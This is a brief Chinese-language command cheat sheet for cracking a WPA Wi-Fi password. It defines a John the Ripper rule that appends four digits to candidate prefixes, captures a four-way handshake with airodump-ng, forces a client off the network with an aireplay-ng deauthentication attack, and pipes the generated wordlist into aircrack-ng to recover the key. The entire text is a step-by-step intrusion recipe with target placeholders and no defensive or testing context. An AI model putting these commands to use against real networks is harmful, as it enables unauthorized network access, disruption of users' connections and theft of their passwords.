- 将密码可能的开头写入文本中
touch *.txt
- 编辑配置文件,自定义动态规则
vim /etc/john/john.conf
#定义后四位的规则:均属于0-9
#Try the second half of split passwords
$[0-9]$[0-9]$[0-9]$[0-9]
- 将匹配格式的字典进行输出
john --wordlist=*.txt(自定义规则文本) --rules -stdout
- 抓取握手报文
airodump-ng wlan0men -c *(指定通道) --bssid *(指定bssid) -w *(存储抓包文件的目录)
- 断开客户端的连接
aireplay-ng -0 2 -a *(AP的bssid) -c *(客户机的bssid) wlan0mon
- 利用动态输出破解密码
john --wordlist=*.txt(规则文本) --rules -stdout | aircrack-ng -e *(客户机的essid,WIFI的名字) -w - *(指定字典,抓取的四次握手数据包)